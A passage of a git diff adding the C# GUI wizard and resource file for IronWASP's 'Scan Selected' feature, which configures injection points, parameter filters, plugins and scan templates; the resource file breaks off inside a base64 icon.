= SetInjectionPoints(Scan); + if (Scan.InjectionPointsCount == 0) + { + TotalScans--; + UpdateScanBranchStats(ScanDone, TotalScans, "Skipping Request as no Injection Points were Identified...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); + return; + } + Scan.LaunchScan(); + ScanDone++; + UpdateScanBranchStats(ScanDone, TotalScans, "Creating and Queueing Scans...." + ScanDone.ToString() + "/" + TotalScans.ToString() + " done", true, false); + + } + + Scanner SetFormatPlugin(Scanner S) + { + Request RequestToScan = S.OriginalRequest; + + if (!FormatPlugin.IsNormal(RequestToScan)) + { + string FPName = FormatPlugin.Get(RequestToScan, FormatPlugins); + if (FPName.Length > 0 && FPName != "Normal") + { + S.BodyFormat = FormatPlugin.Get(FPName); + } + } + return S; + } + + Scanner SetInjectionPoints(Scanner S) + { + if (ScanQuery) + { + if (QueryWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); + } + } + else if (QueryBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Query.GetNames()) + { + if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); + } + } + else + { + S.InjectQuery(); + } + } + + if (ScanBody) + { + if (BodyWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); + } + } + else if (BodyBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Body.GetNames()) + { + if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); + } + } + else + { + S.InjectBody(); + } + } + + if (ScanCookie) + { + if (CookieWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); + } + } + else if (CookieBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Cookie.GetNames()) + { + if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); + } + } + else + { + S.InjectCookie(); + } + } + + if (ScanHeaders) + { + if (HeaderWhiteList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); + } + } + else if (HeaderBlackList.Count > 0) + { + foreach (string Name in S.OriginalRequest.Headers.GetNames()) + { + if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); + } + } + else + { + S.InjectHeaders(); + } + } + + if (ScanUrl) + { + if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) + S.InjectUrl(); + } + + return S; + } + + Scanner AddActivePlugins(Scanner Scan) + { + foreach (string Name in ActivePlugins) + { + Scan.AddCheck(Name); + } + return Scan; + } + + Scanner SetSessionPlugin(Scanner Scan) + { + if (SelectedSessionPlugin.Length > 0) + { + Scan.SessionHandler = SessionPlugin.Get(SelectedSessionPlugin); + } + else + { + Scan.SessionHandler = new SessionPlugin(); + } + return Scan; + } + + internal void UpdateScanBranchConfigFromUI() + { + + this.ScanUrl = this.InjectUrlPathPartsCB.Checked; + this.ScanQuery = this.InjectQueryCB.Checked; + this.ScanBody = this.InjectBodyCB.Checked; + this.ScanCookie = this.InjectCookieCB.Checked; + this.ScanHeaders = this.InjectHeadersCB.Checked; + + this.SelectedSessionPlugin = ""; + if (this.ScanBranchSessionPluginsCombo.SelectedItem != null) + { + string PluginName = this.ScanBranchSessionPluginsCombo.SelectedItem.ToString(); + if (PluginName.Length > 0) + { + if (SessionPlugin.List().Contains(PluginName)) + { + this.SelectedSessionPlugin = PluginName; + if (ScanThreadLimitCB.Checked) + { + Scanner.MaxParallelScanCount = 1; + IronUI.UpdateScannerSettingsInUIFromConfig(); + IronDB.StoreScannerSettings(); + } + } + } + } + + this.FormatPlugins.Clear(); + + foreach (DataGridViewRow Row in this.FormatGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + this.FormatPlugins.Add(Row.Cells[1].Value.ToString()); + } + } + + this.ActivePlugins.Clear(); + + foreach (DataGridViewRow Row in this.ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + this.ActivePlugins.Add(Row.Cells[1].Value.ToString()); + } + } + + + this.QueryWhiteList.Clear(); + this.QueryBlackList.Clear(); + + this.BodyWhiteList.Clear(); + this.BodyBlackList.Clear(); + + this.CookieWhiteList.Clear(); + this.CookieBlackList.Clear(); + + this.HeaderWhiteList.Clear(); + this.HeaderBlackList.Clear(); + + if (QueryParametersFilterCB.Checked) + { + if (QueryParametersPlusRB.Checked) + { + foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.QueryWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.QueryBlackList.Add(Name.Trim()); + } + } + } + + if (BodyParametersFilterCB.Checked) + { + if (BodyParametersPlusRB.Checked) + { + foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.BodyWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.BodyBlackList.Add(Name.Trim()); + } + } + } + + if (CookieParametersFilterCB.Checked) + { + if (CookieParametersPlusRB.Checked) + { + foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.CookieWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.CookieBlackList.Add(Name.Trim()); + } + } + } + + if (HeadersParametersFilterCB.Checked) + { + if (HeadersParametersPlusRB.Checked) + { + foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.HeaderWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + this.HeaderBlackList.Add(Name.Trim()); + } + } + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + switch (BaseTabs.SelectedTab.Name) + { + case ("Zero"): + if (this.CurrentStep != 0) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("One"): + if (this.CurrentStep != 1) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Two"): + if (this.CurrentStep != 2) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Three"): + if (this.CurrentStep != 3) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + case ("Four"): + if (this.CurrentStep != 4) + { + this.BaseTabs.SelectTab(this.CurrentStep); + MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); + } + break; + } + } + + private void FormatGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FormatGrid.SelectedRows == null) return; + if (FormatGrid.SelectedRows.Count == 0) return; + + if ((bool)FormatGrid.SelectedRows[0].Cells[0].Value) + { + FormatGrid.SelectedRows[0].Cells[0].Value = false; + } + else + { + FormatGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanPluginsGrid.SelectedRows == null) return; + if (ScanPluginsGrid.SelectedRows.Count == 0) return; + + if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; + ScanAllPluginsCB.Checked = false; + } + else + { + ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; + } + } + + void RefreshInjectNamesText() + { + StringBuilder SB = new StringBuilder(); + + if (InjectQueryCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Query"); + } + if (InjectBodyCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Body"); + } + if (InjectCookieCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Cookie"); + } + if (InjectHeadersCB.Checked) + { + if (SB.Length > 0) SB.Append(", "); + SB.Append("Header"); + } + + InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); + } + + private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectQueryCB.Checked) + { + QueryParametersFilterCB.Enabled = true; + } + else + { + QueryParametersFilterCB.Checked = false; + QueryParametersFilterCB.Enabled = false; + } + } + + private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectBodyCB.Checked) + { + BodyParametersFilterCB.Enabled = true; + } + else + { + BodyParametersFilterCB.Checked = false; + BodyParametersFilterCB.Enabled = false; + } + } + + private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectCookieCB.Checked) + { + CookieParametersFilterCB.Enabled = true; + } + else + { + CookieParametersFilterCB.Checked = false; + CookieParametersFilterCB.Enabled = false; + } + } + + private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) + { + RefreshInjectNamesText(); + if (InjectHeadersCB.Checked) + { + HeadersParametersFilterCB.Enabled = true; + } + else + { + HeadersParametersFilterCB.Checked = false; + HeadersParametersFilterCB.Enabled = false; + } + } + + private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersFilterCB.Checked) + { + QueryParametersPlusRB.Enabled = true; + QueryParametersMinusRB.Enabled = true; + QueryParametersPlusTB.Enabled = true; + QueryParametersMinusTB.Enabled = true; + } + else + { + QueryParametersPlusRB.Enabled = false; + QueryParametersMinusRB.Enabled = false; + QueryParametersPlusTB.Enabled = false; + QueryParametersMinusTB.Enabled = false; + } + } + + private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersFilterCB.Checked) + { + BodyParametersPlusRB.Enabled = true; + BodyParametersMinusRB.Enabled = true; + BodyParametersPlusTB.Enabled = true; + BodyParametersMinusTB.Enabled = true; + } + else + { + BodyParametersPlusRB.Enabled = false; + BodyParametersMinusRB.Enabled = false; + BodyParametersPlusTB.Enabled = false; + BodyParametersMinusTB.Enabled = false; + } + } + + private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersFilterCB.Checked) + { + CookieParametersPlusRB.Enabled = true; + CookieParametersMinusRB.Enabled = true; + CookieParametersPlusTB.Enabled = true; + CookieParametersMinusTB.Enabled = true; + } + else + { + CookieParametersPlusRB.Enabled = false; + CookieParametersMinusRB.Enabled = false; + CookieParametersPlusTB.Enabled = false; + CookieParametersMinusTB.Enabled = false; + } + } + + private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersFilterCB.Checked) + { + HeadersParametersPlusRB.Enabled = true; + HeadersParametersMinusRB.Enabled = true; + HeadersParametersPlusTB.Enabled = true; + HeadersParametersMinusTB.Enabled = true; + } + else + { + HeadersParametersPlusRB.Enabled = false; + HeadersParametersMinusRB.Enabled = false; + HeadersParametersPlusTB.Enabled = false; + HeadersParametersMinusTB.Enabled = false; + } + } + + private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersPlusRB.Checked) + { + QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; + } + } + + private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersPlusRB.Checked) + { + BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; + } + } + + private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersPlusRB.Checked) + { + CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; + } + } + + private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersPlusRB.Checked) + { + HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; + } + } + + private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (QueryParametersMinusRB.Checked) + { + QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; + } + } + + private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (BodyParametersMinusRB.Checked) + { + BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; + } + } + + private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (CookieParametersMinusRB.Checked) + { + CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; + } + } + + private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) + { + if (HeadersParametersMinusRB.Checked) + { + HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; + } + } + + private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + OpenTemplateDialog.Title = "Open an existing Scan Template"; + + while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) + { + try + { + FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + string TemplateXml = Reader.ReadToEnd(); + Reader.Close(); + LoadSettingsFromTemplate(TemplateXml); + ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); + break; + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); + } + } + } + + void LoadSettingsFromTemplate(string TemplateXml) + { + XmlDocument XDoc = new XmlDocument(); + XDoc.LoadXml(TemplateXml); + foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) + { + switch (Node.Name) + { + case ("scan_type"): + break; + case ("inject_upp"): + InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_query"): + InjectQueryCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_body"): + InjectBodyCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_cookie"): + InjectCookieCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_header"): + InjectHeadersCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_names"): + InjectNamesCB.Checked = (Node.InnerText == "true"); + break; + case ("checks"): + int CheckedCount = 0; + foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) + { + Row.Cells[0].Value = true; + CheckedCount++; + } + } + } + if (CheckedCount == ScanPluginsGrid.Rows.Count) + ScanAllPluginsCB.Checked = true; + else + ScanAllPluginsCB.Checked = false; + break; + case ("formats"): + foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + foreach (DataGridViewRow Row in FormatGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) + { + Row.Cells[0].Value = true; + } + } + } + break; + case ("session_plugin"): + try + { + ScanBranchSessionPluginsCombo.SelectedIndex = ScanBranchSessionPluginsCombo.Items.IndexOf(Node.InnerText); + } + catch { } + break; + case ("query_white_list"): + QueryParametersPlusTB.Text = Node.InnerText; + QueryParametersPlusRB.Checked = true; + break; + case ("query_black_list"): + QueryParametersMinusTB.Text = Node.InnerText; + QueryParametersMinusRB.Checked = true; + break; + case ("body_white_list"): + BodyParametersPlusTB.Text = Node.InnerText; + BodyParametersPlusRB.Checked = true; + break; + case ("body_black_list"): + BodyParametersMinusTB.Text = Node.InnerText; + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_white_list"): + CookieParametersPlusTB.Text = Node.InnerText; + CookieParametersPlusRB.Checked = true; + break; + case ("cookie_black_list"): + CookieParametersMinusTB.Text = Node.InnerText; + CookieParametersMinusRB.Checked = true; + break; + case ("headers_white_list"): + HeadersParametersPlusTB.Text = Node.InnerText; + HeadersParametersPlusRB.Checked = true; + break; + case ("headers_black_list"): + HeadersParametersMinusTB.Text = Node.InnerText; + HeadersParametersMinusRB.Checked = true; + break; + case ("query_filter_type"): + if (Node.InnerText.Equals("+")) + QueryParametersPlusRB.Checked = true; + else + QueryParametersMinusRB.Checked = true; + break; + case ("body_filter_type"): + if (Node.InnerText.Equals("+")) + BodyParametersPlusRB.Checked = true; + else + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_filter_type"): + if (Node.InnerText.Equals("+")) + CookieParametersPlusRB.Checked = true; + else + CookieParametersMinusRB.Checked = true; + break; + case ("headers_filter_type"): + if (Node.InnerText.Equals("+")) + HeadersParametersPlusRB.Checked = true; + else + HeadersParametersMinusRB.Checked = true; + break; + } + } + } + + private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) + { + FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); + string Content = GetTemplateXml(); + if (Info.Name.Length == 0) + { + MessageBox.Show("Please enter a name"); + } + else if (!Info.Name.EndsWith(".isst")) + { + MessageBox.Show("The file extension must be .isst"); + } + else + { + try + { + StreamWriter Writer = new StreamWriter(Info.FullName); + Writer.Write(Content); + Writer.Close(); + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); + } + break; + } + } + } + + string GetTemplateXml() + { + StringBuilder SB = new StringBuilder(); + XmlWriterSettings XWS = new XmlWriterSettings(); + XWS.Indent = true; + XmlWriter XW = XmlWriter.Create(SB, XWS); + XW.WriteStartDocument(); + XW.WriteStartElement("scan_template"); + XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); + XW.WriteStartElement("scan_type"); XW.WriteValue("3"); XW.WriteEndElement(); + //Crawler settings + + //Selected Injection Points + XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); + XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); + //Selected checks + XW.WriteStartElement("checks"); + StringBuilder CB = new StringBuilder(); + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (CB.Length > 0) CB.Append(", "); + CB.Append(Row.Cells[1].Value.ToString()); + } + } + XW.WriteValue(CB.ToString()); + XW.WriteEndElement(); + + //Selected formats + XW.WriteStartElement("checks"); + StringBuilder FB = new StringBuilder(); + foreach (DataGridViewRow Row in FormatGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (FB.Length > 0) FB.Append(", "); + FB.Append(Row.Cells[1].Value.ToString()); + } + } + XW.WriteValue(FB.ToString()); + XW.WriteEndElement(); + if (ScanBranchSessionPluginsCombo.SelectedIndex > -1) + { + XW.WriteStartElement("session_plugin"); XW.WriteValue(ScanBranchSessionPluginsCombo.Text); XW.WriteEndElement(); + } + + XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("cookie_white_list"); XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); + + if (QueryParametersPlusRB.Checked) + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (BodyParametersPlusRB.Checked) + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (CookieParametersPlusRB.Checked) + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (HeadersParametersPlusRB.Checked) + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + + private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); + SPCA.Show(); + } + + private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ScanBranchSessionPluginsCombo.Items.Clear(); + ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + } + + delegate void UpdateScanBranchStats_d(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow); + internal void UpdateScanBranchStats(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow) + { + if (ScanBranchProgressLbl.InvokeRequired) + { + UpdateScanBranchStats_d USBS_d = new UpdateScanBranchStats_d(UpdateScanBranchStats); + ScanBranchProgressLbl.Invoke(USBS_d, new object[] { ScanDone, TotalScans, Message, Progress, CloseWindow }); + } + else + { + if (Progress) ScanBranchProgressBar.PerformStep(); + ScanBranchProgressLbl.Text = Message; + if (ScanDone == TotalScans) + { + FinalBtn.Text = "Close"; + FinalBtn.Enabled = true; + } + if (CloseWindow) + { + this.CanClose = true; + this.Close(); + } + } + } + + private void ScanAllPluginsCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + Row.Cells[0].Value = ScanAllPluginsCB.Checked; + } + } + + private void ScanSelectedWizard_FormClosing(object sender, FormClosingEventArgs e) + { + if (IronUI.UI.CanShutdown) return; + if (!CanClose) + { + if (this.CurrentStep == 0) + { + this.CanClose = true; + } + else if (this.CurrentStep == 4) + { + e.Cancel = true; + if (StepFourPreviousBtn.Enabled) + { + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + else + { + MessageBox.Show("This window cannot be closed by the user now.\r\nAfter all scan jobs are created the window will automatically close."); + } + } + else + { + e.Cancel = true; + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + } + } + } +} diff --git a/Iron/ScanSelectedWizard.resx b/Iron/ScanSelectedWizard.resx new file mode 100644 index 0000000..cd6f461 --- /dev/null +++ b/Iron/ScanSelectedWizard.resx @@ -0,0 +1,1946 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + Sometimes the body of the Request could be in a format other than the default urlencoded form parameters structure. IronWASP can try to detect the type of the body format and then scan it accordingly. + +On the right the different formats understood by IronWASP are listed, select the format types that you would want IronWASP to check for. + + + True + + + True + + + If you want to handle CSRF tokens, authentication and other custom site behaviours during the scan then you can use a Session Plugin. + +To create a Session Plugin use the 'Session Plugin Creation Assistant', it is a GUI based wizard will take the details from you and create the Session Plugin automatically. + + + 9, 18 + + + 172, 18 + + + + + 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 + 